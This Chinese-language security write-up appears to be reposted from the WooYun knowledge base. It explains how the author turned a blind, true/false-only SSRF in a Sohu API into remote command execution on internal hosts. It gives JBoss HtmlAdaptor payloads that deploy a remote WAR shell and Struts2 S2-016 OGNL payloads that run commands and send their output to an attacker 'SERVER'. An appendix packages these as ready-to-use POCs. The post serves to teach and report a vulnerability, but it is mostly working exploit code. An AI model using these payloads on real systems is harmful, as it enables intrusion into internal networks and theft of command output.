Bool型SSRF的思考與實踐

wyzsk發表於2020-08-19
作者: Wulala · 2015/08/04 10:32

0x00 Bool型SSRF


什麼是Bool型SSRF, 沒聽說過. 其實我也沒有聽說過. 只是我也不知道該怎麼描述就起了這樣一個名稱. Bool型SSRF:簡單來說就是僅返回True 或 False的SSRF. 就以我前兩天我挖掘的一個搜狐SSRF為例, 只有伺服器端正確響應HTTP請求並且只有響應碼為200的時候,返回Success,其餘全部返回Failed. 這就是一個典型的Bool型SSRF.

0x01 SSRF利用的基本思路


Wooyun上有很多SSRF典型的案例, 可以說讓人拍案驚奇. 但是沒有一個關於BOOL型SSRF的利用案例(可能我沒看到吧). 這次挖掘到一個搜狐的Bool型SSRF, 對於我這個只是簡單理解SSRF原理沒有任何實戰的渣渣來說, 難度還真大. 不過想想,以前沒有接觸過SSRF,這次就把你玩透. 翻閱學習Wooyun上的案例, 瞭解SSRF利用的基本思路:

內網探測->應用識別->攻擊Payload->Payload Result
內網探測: 內網主機資訊收集
應用識別: 主機應用識別(可以透過Barner和應用指紋進行識別)
攻擊Payload: 根據應用識別的應用,載入不同的攻擊Payload(最常用莫屬於Struts2)
Payload Result: 返回相應Payload的執行資訊

0x02兩者之間的區別


BOOL型SSRF與一般的SSRF的區別在步驟二應用識別,步驟三攻擊Payload和步驟四Payload Result. 一般的SSRF在應用識別階段返回的資訊相對較多,比如Banner資訊,HTTP Title資訊,更有甚的會將整個HTTP的Reponse完全返回. 而Bool型SSRF的卻永遠只有True or False. 因為沒有任何Response資訊,所以對於攻擊Payload的選擇也是有很多限制的, 不能選擇需要和Response資訊互動的Payload. 在此次搜狐SSRF的中, 我分別使用了JBOSS遠端呼叫和Struts2 S2-016遠端命令執行. 對於Bool型SSRF, 我們不能說Payload打過去就一定成功執行, 就算是返回True, 也不能保證Payload一定執行成功. 所以我們要驗證Payload的執行狀態資訊.

0x03 Bool型SSRF利用方法


1.應用識別

{指紋1 + 指紋2 + 黑指紋}, 這裡以JBOSS為例: { /jmx-console/ + /invoker/JMXInvokerServlet + /d2z341.d#211 } 指紋1 和 指紋2 為應用識別指紋, 準確率越高越好. 黑指紋其實就是不會匹配任何應用的指紋,一般用較長的字串代替即可. 分別用指紋1, 指紋2 和 黑指紋對內網主機探測統計, 獲取三個主機列表:jmx-console.host(A) invoker.host(B) black.host(C).

Host = (A∩B) –(A∩B∩C) 即剔除jmx-console.host 和 invoker.host中存在於black.host的主機, 然後對jmx-console和invoker.host的主機取交集.

2.攻擊Payload

針對不用的應用我們需要載入不同的Payload, 但是大多數的攻擊都是需要和Payload Result進行互動的. 這類Payload是沒有辦法用在此處的, 我們需要的是不需要和Payload Result進行互動的Payload. 我可以想到的兩種應用比較廣泛的Payload有JBOSS和Struts2漏洞.

JBOSS Payload:

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war

透過JBOSS HtmlAdaptor介面直接部署遠端war包, 我們可以透過access.log去驗證war包是否成功部署.下面就是透過SSRF去執行不同的命令.還有一種方式,就是我們可以透過我們伺服器的access.log日誌獲取到遠端伺服器對應的公網IP, 有時也會有一些意外驚喜.

Struts2 Payload:

/action?action:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start()}

Struts2漏洞的影響大家都懂的, 透過URL直接遠端命令執行, 想打那裡就打那裡

3.Payload Result

獲取Payload Result是十分有必要的,這裡的Payload Result和非Bool型SSRF的Result不是一個意思. 對於Bool型SSRF, 伺服器端返回的資料永遠只有True和False, 我們是可以透過返回的True或者False來判斷Payload的執行狀態, 但是這樣的判斷標準是無法讓人信服的. 能否有一種方法能夠精確的判斷Payload的執行狀態,而且能夠返回Payload Result. 對於Struts2我找到了一種可利用的方法。

0x04 Struts2在Bool型SSRF中的利用


下面是S2-016的POC:

/action?action:%25{3*4}
/action?action?redirect:%25{3*4}

透過對連個POC的理解, 我們知道下面的POC中的redirect是實現URL跳轉,透過URL跳轉來驗證S2-016漏洞.

enter image description here

當然也可以透過“?redirect:http://www.baidu.com”來驗證. 那麼我們是否可以透過”?redirect:http://SERVER/%25{3*4}” 將%25{3*4}的執行結果作為SERVER的URL的一部分傳送到遠端伺服器, 透過實驗我們證實了這樣的想法.

enter image description here

下面我們嘗試S2-016的命令執行POC,執行結果如下:

?redirect:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start()}

enter image description here

特此說明一下,這裡返回[email protected]表示命令執行成功, 將命令執行的結果透過redirect跳轉輸出到遠端伺服器.

?redirect:http//SERVER/%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start()}

enter image description here

由伺服器端Access日誌可以看出,命令執行成功

enter image description here

其實透過上面的這種方式,我們已經完全能夠準確的判斷Payload Result的執行狀態, 但是這不是我要的, 我想要Payload Result執行結果. 帶回顯的POC:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

enter image description here

將命令執行結果Redirect到遠端:

enter image description here

我們可以看到本地瀏覽器可以列印出結果,但是遠端Access.log不會有任何日誌. 對Java懂一點點的人都知道(比如我,對Java略懂一點點), 這裡的POC的作用就是本地列印,所以肯定是不行的. 下一步我們就需要更改POC , 因為對Java不熟, 為此花費了大半天的時間,寫下下面的POC:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

SERVER是我們的HTTP伺服器IP地址, 我們獲取命令執行結果,然後把他作為一個URL引數傳送到遠端SERVER上, 所以我們可以在遠端SERVER的access.log看到命令的執行結果.

enter image description here

遠端伺服器日誌:

enter image description here

至此, 我們完成了從一個BOOL型的SSRF轉換為一個普通的SSRF,我們可以獲取到任何Payload的執行結果, 我只能說這是一個質的飛躍.

說明: 對於文中瀏覽器中執行的返回資訊,我們僅僅是在做測試,對於BOOL型SSRF這些資訊對我們是不可見的, 我們能看到的僅僅是Server端的access.log日誌.

0x05 Other(想到什麼寫什麼)


Bool型SSRF的其他利用方式-反射性XSS也是一種可利用的思路,不過挖掘的難度相對較大

此文是對搜狐SSRF漏洞利用過程中的一些思考,實踐和總結.

這可以說是我的SSRF處女洞, 和此文章關聯的漏洞”搜狐某雲服務API介面導致SSRF/手工盲打到Struts2命令執行”http://wooyun.org/bugs/wooyun-2015-0129588 , 因為抱著學習的態度, 漏洞報告寫的非常詳細,而且有很多技巧在文章中沒有提及. 當然也有很多YY的想法, 想拍磚的就來拍磚吧.

附錄

使用方式: 將SERVER替換為你的Web服務地址

POC-S2-016.SSRF版 高亮:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

POC-S2-016命令回顯整合SSRF版 高亮:

redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章